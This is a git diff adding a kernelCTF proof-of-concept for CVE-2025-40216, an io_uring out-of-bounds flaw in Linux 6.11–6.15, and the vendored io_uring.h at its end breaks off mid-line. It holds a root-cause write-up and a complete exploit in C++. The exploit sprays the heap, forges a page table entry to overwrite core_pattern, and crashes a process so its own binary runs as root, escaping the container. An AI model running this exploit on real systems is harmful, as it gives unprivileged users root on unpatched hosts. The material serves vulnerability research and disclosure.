diff --git a/pocs/linux/kernelctf/CVE-2025-40216_mitigation/docs/exploit.md b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/docs/exploit.md new file mode 100644 index 000000000..3bd516fa0 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/docs/exploit.md @@ -0,0 +1,131 @@ +# Vulnerability Overview + +This vulnerability exists within the **io_uring** subsystem, specifically in how fixed buffers are registered and subsequently imported. + +The root cause is an **incorrect offset calculation** when handling user pointers that are not aligned to the folio size. + +This logic error results in an incorrect `bv_len` (buffer vector length), which subsequently triggers an **Out-of-Bounds (OOB) access** and the use of **uninitialized memory** during I/O operations. + +# Root Cause Analysis + +## 1. Incorrect Offset Calculation (`io_sqe_buffer_register`) + +In `io_sqe_buffer_register`, the kernel attempts to calculate the offset of the first page. + +However, the bitmask logic used assumes specific alignment guarantees for user pointers that do not exist. + +When `iov->iov_base` is not aligned as expected relative to `imu->folio_shift`, the calculated `off` variable is incorrect. + +```C +static int io_sqe_buffer_register(struct io_ring_ctx *ctx, struct iovec *iov, + struct io_mapped_ubuf **pimu, + struct page **last_hpage) +{ + // ... + /* * VULNERABILITY: + * The bitwise AND logic here produces an incorrect offset if the + * user pointer (iov_base) alignment does not match the folio logic. + */ + off = (unsigned long) iov->iov_base & ((1UL << imu->folio_shift) - 1); + *pimu = imu; + ret = 0; + + for (i = 0; i < nr_pages; i++) { + size_t vec_len; + + /* * Because 'off' is potentially wrong, 'vec_len' (the length of + * this segment) becomes smaller than it should be. + */ + vec_len = min_t(size_t, size, (1UL << imu->folio_shift) - off); + bvec_set_page(&imu->bvec[i], pages[i], vec_len, off); + off = 0; + // ... +``` + +The `bvec->bv_len` stored in the `io_mapped_ubuf` is smaller than the correct value required to represent the data. + +## 2. OOB Access in (`io_import_fixed`) + +Later, when `io_import_fixed` is called to perform I/O using the registered buffer, it iterates over the buffer vectors. + +The logic attempts to skip segments (`seg_skip`) based on the requested offset. + +Because the stored `bv_len` is artificially small (due to the bug above), the function believes it needs to skip more segments than actually exist to reach the requested offset. + +```C +int io_import_fixed(int ddir, struct iov_iter *iter, + struct io_mapped_ubuf *imu, + u64 buf_addr, size_t len) +{ + // ... + if (offset < bvec->bv_len) { + iter->bvec = bvec; + iter->count -= offset; + iter->iov_offset = offset; + } else { + unsigned long seg_skip; + + /* skip first vec */ + offset -= bvec->bv_len; + + /* * VULNERABILITY: + * Because 'bvec->bv_len' was too small, the remaining 'offset' is too large. + * This causes 'seg_skip' to calculate a value larger than the bvec array length. + */ + seg_skip = 1 + (offset >> imu->folio_shift); + + /* * 'iter->bvec' now points Out-Of-Bounds (OOB) past the end of the array. + * This results in the usage of uninitialized memory for io_read/io_write operations. + */ + iter->bvec = bvec + seg_skip; + iter->nr_segs -= seg_skip; + iter->count -= bvec->bv_len + offset; + iter->iov_offset = offset & ((1UL << imu->folio_shift) - 1); + } + // ... + return 0; +} +``` + +## Exploit Strategy + +The uninitialized memory usage in `io_import_fixed` can be weaponized to achieve a **container escape**. + +### Triggering the Vulnerability + +By triggering the OOB condition, the `iter->bvec` pointer is made to point to uninitialized memory. We manipulate the kernel heap to ensure that this uninitialized memory region contains a pointer to a page we control or have recently freed. + +### 1. Prepare Spray FDs +We set up **io_uring instances** (multiple `RING_FD_COUNT`) that will be used to spray `io_mapped_ubuf` structures and `bvec` arrays onto the kernel heap. + +### 2. Spray Ubuf arrays onto Heap +We construct our target memory area. We explicitly use a 1-page shared target buffer mapped via `IORING_OFF_PBUF_RING`, prepended by a 3-page anonymous allocation, creating a contiguous 4-page sequence. We specifically avoid using an anonymous mapping (`MAP_ANONYMOUS`) for the target buffer itself because anonymous pages are notoriously difficult to reliably reclaim as page tables (`pgtable`) after being freed. + +When we register this layout using `IORING_REGISTER_BUFFERS` across all our setup instances, the kernel creates `bvec` arrays of size 4 where the `bv_page` of the 4th element perfectly points to the physical page of our target shared buffer `io_addr`. This mass-populates the kernel heap with controllable `bvec` structures. + +### 3. Setup Main Exploitation Ring & Free Sprayed Arrays +We set up the main exploitation ring. Crucially, we then **unregister** all the previously sprayed buffers, freeing them back to the heap. The kernel does not zero out this memory on free, meaning our controllable `bvec` array pointers remain in the heap as **uninitialized memory**. + +We then map 8KB arrays using `IORING_OFF_PBUF_RING` to exploit the OOB vulnerability. Because the kernel allocates these as order-1 pages, the resulting folio size becomes 8192 bytes (`folio_shift = 13`). We deliberately allocate chunks of 8KB to massage the heap layout, ensuring our target pointer lands **unaligned** relative to this 8KB boundary (e.g. at an odd page boundary). + +When the unaligned pointer fails the alignment check, the `io_sqe_buffer_register` offset calculation fails, setting up our Out-of-Bound read/write primitives against the sprayed uninitialized arrays from step 2. + +### 4. Spray Target Pages +We allocate **multiple pages** across a wide target area using standard `mmap`. This reclaims the previously freed physical page specifically as a **page table (pgtable)**. Because we only map these pages (without writing to them), the kernel lazily populates the page table entries (PTEs) with pointers to the global `empty_page` (zero page). This predictably fills the page table with known PTE values we can hunt for. + +### 5. Trigger Page Write/Read via IO_URING +We trigger an I/O read and write over the vulnerability to perform uninitialized memory reads. + +This allows us to read back a valid **Page Table Entry (PTE)** from our mapped pages. The read is successful if the magic byte (`EXPECTED_MAGIC` = `0x25`) matches. + +### 6. Calculate and Write Fake PTE +Using the leaked information from our read, we modify the PTE value. We keep the base page address but alter the alignment offset and flags. + +Specifically, we apply a bitmask (`PTE_FLAGS_MASK` = `0x367`) which confers bits for **Present, Read/Write, User accessible, Accessed, and Dirty**, turning it into a fully permissive mapping entry. + +We adjust the leaked pointer to point to the kernel's `core_pattern` address and write it back into the page tables using our OOB write primitive. + +### 7. Spray core_pattern payload +With the mutated page table, we write our core_pattern exploitation payload `|/proc/%P/fd/666 %P` into the newly mapped region. + +Finally, when the exploit intentionally triggers a crash with `rip_trigger_crash`, the kernel will execute our arbitrary program as root, giving us a **container escape**. diff --git a/pocs/linux/kernelctf/CVE-2025-40216_mitigation/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/docs/vulnerability.md new file mode 100644 index 000000000..c98773977 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/docs/vulnerability.md @@ -0,0 +1,12 @@ +Requirements: +Capabilities: None +Kernel configuration: CONFIG_IO_URING +User namespaces required: no +Introduced by: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=a8edbb424b1391b077407c75d8f5d2ede77aa70d +Fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3a3c6d61577dbb23c09df3e21f6f9eda1ecd634b +Affected kernel versions: v6.11 - v6.15 +Affected component: io_uring +Cause: Out of bound read +Syscall to disable: io_uring_setup, io_uring_register, io_uring_enter +Description: +Out of bound read in io_uring \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/Makefile b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/Makefile new file mode 100644 index 000000000..88e9ad22b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/Makefile @@ -0,0 +1,6 @@ +all: exploit +prerequisites: + @echo "No prerequisites needed" +exploit: exploit.cpp target_db.kxdb + g++ exploit.cpp -lkernelXDK -g -static -o exploit -I/usr/local/include/ -L/usr/lib/ + diff --git a/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/exploit b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/exploit new file mode 100755 index 000000000..72e8b1ac1 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/exploit.cpp b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/exploit.cpp new file mode 100644 index 000000000..1c6714856 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/exploit.cpp @@ -0,0 +1,512 @@ +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif +#include "io_uring.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +INCBIN(target_db, "target_db.kxdb"); + +/* * --------------------------------------------------------------------------- + * Constants & Macros + * --------------------------------------------------------------------------- + */ + +// Target specific addresses (fetched dynamically via kernelXDK) +// ADDR_CORE_PATTERN and ADDR_EMPTY_ZERO_PAGE are passed as arguments now + +// PTE Flags: Present, RW, User, Dirty, Accessed, etc. to grant permissive +// mapping. +#define PTE_FLAGS_MASK 0x367 + +// Configuration +// Number of pages to spray +#define SPRAY_COUNT 0x2000 +// Base address for sprayed pages +#define SPRAY_BASE_ADDR 0x40000000 +// Number of io_uring FDs to create +#define RING_FD_COUNT 0x100 +#define PAGE_SIZE 0x1000 +// Ring entries configuration +#define URING_ENTRIES 0x8000 +// Alignment mask for memory layout checks +#define ALIGNMENT_MASK 0x1fff +// Magic byte to check if arbitrary read succeeded +#define EXPECTED_MAGIC 0x25 + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) \ + err(1, "SYSCHK(" #x ")"); \ + __res; \ + }) + +/* * --------------------------------------------------------------------------- + * Globals + * --------------------------------------------------------------------------- + */ + +// Global storage for sprayed addresses to be modified by the vulnerability +size_t *spray_addrs[SPRAY_COUNT]; + +/* * --------------------------------------------------------------------------- + * Utility Functions (util_) + * --------------------------------------------------------------------------- + */ + +void util_pin_cpu(int cpu_id) { + cpu_set_t mask; + CPU_ZERO(&mask); + CPU_SET(cpu_id, &mask); + SYSCHK(sched_setaffinity(0, sizeof(mask), &mask)); +} + +void util_hexdump(const void *data, size_t size) { + char ascii[17]; + size_t i, j; + ascii[16] = '\0'; + for (i = 0; i < size; ++i) { + printf("%02X ", ((unsigned char *)data)[i]); + if (((unsigned char *)data)[i] >= ' ' && + ((unsigned char *)data)[i] <= '~') { + ascii[i % 16] = ((unsigned char *)data)[i]; + } else { + ascii[i % 16] = '.'; + } + if ((i + 1) % 8 == 0 || i + 1 == size) { + printf(" "); + if ((i + 1) % 16 == 0) { + printf("| %s \n", ascii); + } else if (i + 1 == size) { + ascii[(i + 1) % 16] = '\0'; + if ((i + 1) % 16 <= 8) { + printf(" "); + } + for (j = (i + 1) % 16; j < 16; ++j) { + printf(" "); + } + printf("| %s \n", ascii); + } + } + } +} + +/* * --------------------------------------------------------------------------- + * Environment Setup (setup_) + * --------------------------------------------------------------------------- + */ + +void setup_resources() { + setvbuf(stdout, 0, 2, 0); + struct rlimit rlim = {.rlim_cur = 0x1000, .rlim_max = 0x1000}; + SYSCHK(setrlimit(RLIMIT_NOFILE, &rlim)); + util_pin_cpu(0); +} + +// Prepare io_uring instances to groom memory +void setup_uring_spray_fds(int *fds, int count) { + for (int i = 0; i < count; i++) { + struct io_uring_params params = {}; + fds[i] = SYSCHK(syscall(SYS_io_uring_setup, 1, ¶ms)); + } +} + +/* * --------------------------------------------------------------------------- + * Spraying or grooming the heap (spray_) + * --------------------------------------------------------------------------- + */ + +// We allocate multiple pages across an aligned target region. +// Because we do not write to these newly mapped pages, the kernel will lazily +// populate the page table (pgtable) with PTEs pointing to the global +// `empty_page` (or zero page). This predictably fills the page table with known +// pointers. +void spray_target_pages() { + for (int i = 0; i < SPRAY_COUNT; i++) + spray_addrs[i] = + (size_t *)mmap((void *)(0x200000UL * i + SPRAY_BASE_ADDR), PAGE_SIZE, + PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); +} + +/* * --------------------------------------------------------------------------- + * Vulnerability Trigger (vuln_) + * --------------------------------------------------------------------------- + */ + +// Triggers the io_uring vulnerability to modify the page tables of our sprayed +// area Vulnerability trigger: Page Table Entry manipulation +void vuln_trigger_overwrite(uint64_t offset_core_pattern, + uint64_t offset_empty_zero_page) { + int fds[RING_FD_COUNT]; + int uring_fd; + int comm_socks[2]; + + // @step(name="Prepare Spray FDs") + setup_uring_spray_fds(fds, RING_FD_COUNT); + + // @step(name="Spray Ubuf arrays onto Heap") + struct io_uring_buf_reg reg_ring_init = {.ring_addr = 0, + .ring_entries = 0x1, + .bgid = 1, + .flags = IOU_PBUF_RING_MMAP}; + SYSCHK(syscall(__NR_io_uring_register, fds[0], IORING_REGISTER_PBUF_RING, + ®_ring_init, 1)); + + // Create the shared buffer for the ring using IORING_OFF_PBUF_RING. + // We explicitly do NOT use a standard anonymous mapping (MAP_ANONYMOUS). + // When an anonymous page is freed (unmapped), it is recycled back into the + // memory allocator in a way that makes it notoriously difficult to reliably + // reclaim specifically as a page table (pgtable) later during our target + // spray. By using the ring buffer memory instead, the physical page can be + // reliably reallocated to hold page tables after we unmap it. + char *io_addr = + (char *)SYSCHK(mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, + fds[0], IORING_OFF_PBUF_RING + (1 << 16))); + memset(io_addr, 'a', 0x100); + + // Map the target area that will overlap. + // We allocate 3 pages (0x3000) immediately preceding the io_addr page. + // This creates a contiguous 4-page (0x4000) region of memory. + SYSCHK(mmap(io_addr - 0x3000, 0x3000, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANON, -1, 0)); + + // ----------------------------------------------------------------------------------------- + // Memory Layout: Registering the Target Area (iov0) + // ----------------------------------------------------------------------------------------- + // iov0.iov_base = io_addr - 0x3000 + // iov0.iov_len = 0x4000 (4 pages) + // + // +-----------------+-----------------+-----------------+-----------------+ + // | Page 1 (0x1000) | Page 2 (0x1000) | Page 3 (0x1000) | Page 4 (0x1000) | + // +-----------------+-----------------+-----------------+-----------------+ + // ^ io_addr-0x3000 ^ io_addr-0x2000 ^ io_addr-0x1000 ^ io_addr + // (Anonymous mmap) (Anonymous mmap) (Anonymous mmap) (Target PBUF ring) + // + // When this iovec is registered across our spray FDs, the kernel creates an + // array of 4 `bvec` structures. The `bv_page` of the 4th `bvec` points + // directly to the physical page of our `io_addr`. Later we unregister these + // so that the freed `bvec` arrays remain uninitialized in the kernel heap, + // waiting to be accessed out-of-bounds. + // ----------------------------------------------------------------------------------------- + struct iovec iov0 = {.iov_base = (void *)(io_addr - 0x3000), + .iov_len = 0x4000}; + + // Register buffers across all sprayed FDs to populate the heap with + // controllable bvecs + for (int i = 0; i < RING_FD_COUNT; i++) { + SYSCHK(syscall(__NR_io_uring_register, fds[i], IORING_REGISTER_BUFFERS, + &iov0, 1)); + } + + // @step(name="Setup Main Exploitation Ring & Free Sprayed Arrays") + struct io_uring_params params = {}; + uring_fd = SYSCHK(syscall(SYS_io_uring_setup, URING_ENTRIES, ¶ms)); + + unsigned char *sq_ring = (unsigned char *)SYSCHK( + mmap(NULL, params.sq_off.array + params.sq_entries * sizeof(unsigned), + PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING)); + struct io_uring_sqe *sqes = (struct io_uring_sqe *)SYSCHK( + mmap(NULL, params.sq_entries * sizeof(struct io_uring_sqe), + PROT_READ | PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES)); + + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, comm_socks)); + + struct io_uring_buf_reg reg_ring_exploit = {.ring_addr = 0, + .ring_entries = 0x200, + .bgid = 1, + .flags = IOU_PBUF_RING_MMAP}; + SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_PBUF_RING, + ®_ring_exploit, 1)); + + // ----------------------------------------------------------------------------------------- + // Memory Layout: Exploitation Array Alignment Massage + // ----------------------------------------------------------------------------------------- + // We use `IORING_OFF_PBUF_RING` to map the memory. The kernel often backs + // this mapping with an order-1 allocation, resulting in a folio size of 8KB + // (0x2000 / 8192 bytes). Because the folio size is 8192 bytes, + // `imu->folio_shift` will evaluate to 13. + // + // However, the `io_sqe_buffer_register` vulnerability only calculates the + // incorrect offset if the user pointer (`iov_base`) is NOT aligned to the + // `folio` block size. By sequentially allocating 0x2000 chunks, we introduce + // memory fragmentation to massage the layout. We deliberately want + // `addr_map_3` to fall on an unaligned boundary relative to 8KB (e.g., ends + // in 0x1000, 0x3000, 0x5000, etc.). + // + // Note: `mmap` typically allocates top-down (grows backwards in memory). + // + // +-----------------------+-----------------------+-----------------------+ + // | addr_map_3 (0x2000) | addr_map_2 (0x2000) | addr_map_1 (0x2000) | + // +-----------------------+-----------------------+-----------------------+ + // ^ (Must NOT be 8KB aligned!) (8KB Folio) (8KB Folio) + // | + // Vulnerability Trigger Start + // ----------------------------------------------------------------------------------------- + char *addr_map_1 = + (char *)SYSCHK(mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, + uring_fd, IORING_OFF_PBUF_RING + (1 << 16))); + char *addr_map_2 = + (char *)SYSCHK(mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, + uring_fd, IORING_OFF_PBUF_RING + (1 << 16))); + char *addr_map_3 = + (char *)SYSCHK(mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, + uring_fd, IORING_OFF_PBUF_RING + (1 << 16))); + + printf("[*] Mapped addresses: %p %p %p\n", addr_map_1, addr_map_2, + addr_map_3); + + // Verify alignment requirement. + // ALIGNMENT_MASK is 0x1fff (8191, representing an 8KB boundary). + // If addr_map_3 is perfectly aligned to 8KB (meaning the lower 13 bits are + // zero), then the vulnerability will NOT trigger because the bitwise AND + // logic calculates the correct offset. Therefore, we MUST FAIL the 8KB + // alignment check for the exploit to work. If it's 8KB aligned, we exit and + // retry the exploit to get a different memory layout. + if (((size_t)addr_map_3 & ALIGNMENT_MASK) == 0) { + errx(1, "[-] Alignment check failed, exiting to retry."); + } + + struct iovec iov = {.iov_base = addr_map_3, .iov_len = 0x6000}; + + // Unregister previous buffers to free them into the heap. + // This leaves the bvec pointers we sprayed as uninitialized memory + // that our main vulnerable io_uring buffer will access OOB! + for (int i = 0; i < RING_FD_COUNT; i++) + SYSCHK(syscall(__NR_io_uring_register, fds[i], IORING_UNREGISTER_BUFFERS, + NULL, 0)); + + // @step(name="Trigger Vulnerability: Register OOB Buffers") + // Register the buffers using the unaligned 'iov_base'. This triggers the + // vulnerability where the kernel calculates an incorrect offset, leading to + // an out-of-bounds access into the heap-sprayed bvec structures. + SYSCHK(syscall(__NR_io_uring_register, uring_fd, IORING_REGISTER_BUFFERS, + &iov, 1)); + + // We unmap the original io_addr memory here. This frees the physical page + // that was previously pointed to by the `bv_page` member of our uninitialized + // bvec arrays. By doing this, the upcoming spray_target_pages() call will be + // able to successfully reclaim this exact physical page, overlapping our + // controlled page tables with the uninitialized bvec pointers! + SYSCHK(munmap(io_addr, PAGE_SIZE)); + + // @step(name="Spray Target Pages") + spray_target_pages(); + + // Cleanup FDs + for (int i = 0; i < RING_FD_COUNT; i++) + close(fds[i]); + + // Checksum verification (to ensure pages are populated) + size_t sum = 0; + for (int i = 0; i < SPRAY_COUNT; i++) + sum += spray_addrs[i][0]; + printf("[*] PageTable allocated %ld\n", sum); + + // @step(name="Trigger Page Write/Read via IO_URING") + sqes[0] = (struct io_uring_sqe){ + .opcode = IORING_OP_WRITE_FIXED, + .fd = comm_socks[1], + .addr = (size_t)addr_map_1 + PAGE_SIZE, + .len = PAGE_SIZE, + }; + sqes[1] = (struct io_uring_sqe){ + .opcode = IORING_OP_READ_FIXED, + .fd = comm_socks[1], + .addr = (size_t)addr_map_1 + PAGE_SIZE, + .len = PAGE_SIZE, + }; + + // Tell the kernel which SQE indices to process. + // We place index 0 (IORING_OP_WRITE_FIXED) and index 1 (IORING_OP_READ_FIXED) + // into the Submission Queue array to be processed sequentially. + ((int *)(sq_ring + params.sq_off.array))[0] = 0; + ((int *)(sq_ring + params.sq_off.array))[1] = 1; + + // Advance the tail pointer by 2, finalizing the submission of these 2 events. + (*(int *)(sq_ring + params.sq_off.tail)) += 2; + + SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 1, 1, IORING_ENTER_GETEVENTS, + NULL, 0)); + + char local_buf[PAGE_SIZE]; + read(comm_socks[0], local_buf, PAGE_SIZE); + +#ifdef DEBUG + util_hexdump(local_buf, 0x10); +#endif + + // Verify if we got the expected magic byte + if (local_buf[0] != EXPECTED_MAGIC) { + errx(1, "[-] Magic byte mismatch (got %02x, expected 0x25)", + (unsigned char)local_buf[0]); + } + + // @step(name="Calculate and Write Fake PTE") + size_t *pte_view = (size_t *)local_buf; + // Clear lower 12 bits (offset within page) + pte_view[0] = pte_view[0] & (~0xfff); + // Add custom flags + pte_view[0] = pte_view[0] | PTE_FLAGS_MASK; + // Adjust logic to point to core_pattern + pte_view[0] -= (offset_empty_zero_page - (offset_core_pattern & (~0xfff))); + + write(comm_socks[0], local_buf, PAGE_SIZE); + SYSCHK(syscall(SYS_io_uring_enter, uring_fd, 1, 1, IORING_ENTER_GETEVENTS, + NULL, 0)); +} + +/* * --------------------------------------------------------------------------- + * Payload & Root Acquisition + * --------------------------------------------------------------------------- + */ + +// Reads /proc/sys/kernel/core_pattern to verify overwrite +int util_check_core_pattern() { + char buf[0x100] = {}; + int core_fd = open("/proc/sys/kernel/core_pattern", O_RDONLY); + if (core_fd < 0) + return 0; + read(core_fd, buf, sizeof(buf)); + close(core_fd); + return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; +} + +// Drops the payload and triggers a crash +void rip_trigger_crash(const char *cmd) { + int memfd = memfd_create("payload", 0); + // Copy our binary to memfd + SYSCHK(sendfile(memfd, open("/proc/self/exe", O_RDONLY), 0, 0xffffffff)); + + // Position binary at fd 666 (referenced by our core_pattern) + dup2(memfd, 666); + close(memfd); + + printf("[*] Waiting for core_pattern overwrite...\n"); + while (util_check_core_pattern() == 0) { + // @sleep(kernel_func="none", desc="Wait for core_pattern to update") + sleep(1); + } + + puts("[+] Core pattern overwritten! Triggering crash for Root shell..."); + + /* Trigger NULL pointer dereference to invoke core_pattern handler */ + *(size_t *)0 = 0; +} + +// The function executed as root by the kernel core dump handler +void util_run_as_root() { + // Retrieve flag + system("cat /flag"); + // Ensure flush + system("sync"); + // Trigger sysrq to allow clean exit/log capture if needed + system("echo o > /proc/sysrq-trigger"); +} + +/* * --------------------------------------------------------------------------- + * Main + * --------------------------------------------------------------------------- + */ + +int main(int argc, char **argv) { + TargetDb kxdb("target_db.kxdb", target_db); + Target st("kernelctf", "mitigation-v4-6.12"); + // Add missing symbols for this specific kernel build + st.AddSymbol("core_pattern", 0xffffffff8421b460); + st.AddSymbol("empty_zero_page", 0xffffffff850f1000); + kxdb.AddTarget(st); + + auto target = kxdb.AutoDetectTarget(); + printf("[+] Running on target: %s %s\n", target.GetDistro().c_str(), + target.GetReleaseName().c_str()); + + auto offset_core_pattern = target.GetSymbolOffset("core_pattern"); + auto offset_empty_zero_page = target.GetSymbolOffset("empty_zero_page"); + + // Mode 1: The root handler (invoked by kernel via core_pattern) + if (argc > 1) { + // Parse PID from core_pattern arguments if needed, but we used %P + // Here we just attach to the dying process to steal FDs/Context if required + // or simply execute the payload. + + if (strcmp(argv[1], "c") == 0) { + goto child_exploit; + + } else { + int pid = strtoull(argv[1], 0, 10); + // Grab stdio from the dying process to see output + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + + util_run_as_root(); + } + return 0; + } + + // Mode 2: The Initial Exploit Runner + // Fork a child to actually trigger the crash later, ensuring we have a clean + // process + if (fork() == 0) { + util_pin_cpu(1); + setsid(); + rip_trigger_crash(""); + exit(0); + } + +parent_fork: + while (1) { + if (fork() == 0) + execlp("/proc/self/exe", "exe", "c", NULL); + wait(NULL); + } +child_exploit: + + setup_resources(); + + // Trigger the vulnerability process + vuln_trigger_overwrite(offset_core_pattern, offset_empty_zero_page); + + // @step(name="Spray core_pattern payload") + // Write the pipe command into the memory areas we remapped/sprayed + // This string |/proc/%P/fd/666 tells kernel to pipe core dump to fd 666 of + // the crashing process + for (int i = 0; i < SPRAY_COUNT; i++) + strcpy((char *)(&spray_addrs[i][(offset_core_pattern & 0xfff) / 8]), + "|/proc/%P/fd/666 %P"); + + printf("[*] Spray complete. Waiting for crash trigger...\n"); + while (1) { + // @sleep(kernel_func="none", desc="Keep process alive to maintain memory + // mappings") + sleep(1); + } + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/io_uring.h b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/io_uring.h new file mode 100644 index 000000000..c5e762309 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-40216_mitigation/exploit/mitigation-v4-6.12/io_uring.h @@ -0,0 +1,777 @@ +/* SPDX-License-Identifier: (GPL-2.0 WITH Linux-syscall-note) OR MIT */ +/* + * Header file for the io_uring interface. + * + * Copyright (C) 2019 Jens Axboe + * Copyright (C) 2019 Christoph Hellwig + */ +#ifndef LINUX_IO_URING_H +#define LINUX_IO_URING_H + +#include +#include +/* + * this file is shared with liburing and that has to autodetect + * if linux/time_types.h is available or not, it can + * define UAPI_LINUX_IO_URING_H_SKIP_LINUX_TIME_TYPES_H + * if linux/time_types.h is not available + */ +#ifndef UAPI_LINUX_IO_URING_H_SKIP_LINUX_TIME_TYPES_H +#include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * IO submission data structure (Submission Queue Entry) + */ +struct io_uring_sqe { + __u8 opcode; /* type of operation for this sqe */ + __u8 flags; /* IOSQE_ flags */ + __u16 ioprio; /* ioprio for the request */ + __s32 fd; /* file descriptor to do IO on */ + union { + __u64 off; /* offset into file */ + __u64 addr2; + struct { + __u32 cmd_op; + __u32 __pad1; + }; + }; + union { + __u64 addr; /* pointer to buffer or iovecs */ + __u64 splice_off_in; + struct { + __u32 level; + __u32 optname; + }; + }; + __u32 len; /* buffer size or number of iovecs */ + union { + __kernel_rwf_t rw_flags; + __u32 fsync_flags; + __u16 poll_events; /* compatibility */ + __u32 poll32_events; /* word-reversed for BE */ + __u32 sync_range_flags; + __u32 msg_flags; + __u32 timeout_flags; + __u32 accept_flags; + __u32 cancel_flags; + __u32 open_flags; + __u32 statx_flags; + __u32 fadvise_advice; + __u32 splice_flags; + __u32 rename_flags; + __u32 unlink_flags; + __u32 hardlink_flags; + __u32 xattr_flags; + __u32 msg_ring_flags; + __u32 uring_cmd_flags; + __u32 waitid_flags; + __u32 futex_flags; + __u32 install_fd_flags; + }; + __u64 user_data; /* data to be passed back at completion time */ + /* pack this to avoid bogus arm OABI complaints */ + union { + /* index into fixed buffers, if used */ + __u16 buf_index; + /* for grouped buffer selection */ + __u16 buf_group; + } __attribute__((packed)); + /* personality to use, if used */ + __u16 personality; + union { + __s32 splice_fd_in; + __u32 file_index; + __u32 optlen; + struct { + __u16 addr_len; + __u16 __pad3[1]; + }; + }; + union { + struct { + __u64 addr3; + __u64 __pad2[1]; + }; + __u64 optval; + /* + * If the ring is initialized with IORING_SETUP_SQE128, then + * this field is used for 80 bytes of arbitrary command data + */ + __u8 cmd[0]; + }; +}; + +/* + * If sqe->file_index is set to this for opcodes that instantiate a new + * direct descriptor (like openat/openat2/accept), then io_uring will allocate + * an available direct descriptor instead of having the application pass one + * in. The picked direct descriptor will be returned in cqe->res, or -ENFILE + * if the space is full. + */ +#define IORING_FILE_INDEX_ALLOC (~0U) + +enum { + IOSQE_FIXED_FILE_BIT, + IOSQE_IO_DRAIN_BIT, + IOSQE_IO_LINK_BIT, + IOSQE_IO_HARDLINK_BIT, + IOSQE_ASYNC_BIT, + IOSQE_BUFFER_SELECT_BIT, + IOSQE_CQE_SKIP_SUCCESS_BIT, +}; + +/* + * sqe->flags + */ +/* use fixed fileset */ +#define IOSQE_FIXED_FILE (1U << IOSQE_FIXED_FILE_BIT) +/* issue after inflight IO */ +#define IOSQE_IO_DRAIN (1U << IOSQE_IO_DRAIN_BIT) +/* links next sqe */ +#define IOSQE_IO_LINK (1U << IOSQE_IO_LINK_BIT) +/* like LINK, but stronger */ +#define IOSQE_IO_HARDLINK (1U << IOSQE_IO_HARDLINK_BIT) +/* always go async */ +#define IOSQE_ASYNC (1U << IOSQE_ASYNC_BIT) +/* select buffer from sqe->buf_group */ +#define IOSQE_BUFFER_SELECT (1U << IOSQE_BUFFER_SELECT_BIT) +/* don't post CQE if request succeeded */ +#define IOSQE_CQE_SKIP_SUCCESS (1U << IOSQE_CQE_SKIP_SUCCESS_BIT) + +/* + * io_uring_setup() flags + */ +#define IORING_SETUP_IOPOLL (1U << 0) /* io_context is polled */ +#define IORING_SETUP_SQPOLL (1U << 1) /* SQ poll thread */ +#define IORING_SETUP_SQ_AFF (1U << 2) /* sq_thread_cpu is valid */ +#define IORING_SETUP_CQSIZE (1U << 3) /* app defines CQ size */ +#define IORING_SETUP_CLAMP (1U << 4) /* clamp SQ/CQ ring sizes */ +#define IORING_SETUP_ATTACH_WQ (1U << 5) /* attach to existing wq */ +#define IORING_SETUP_R_DISABLED (1U << 6) /* start with ring disabled */ +#define IORING_SETUP_SUBMIT_ALL (1U << 7) /* continue submit on error */ +/* + * Cooperative task running. When requests complete, they often require + * forcing the submitter to transition to the kernel to complete. If this + * flag is set, work will be done when the task transitions anyway, rather + * than force an inter-processor interrupt reschedule. This avoids interrupting + * a task running in userspace, and saves an IPI. + */ +#define 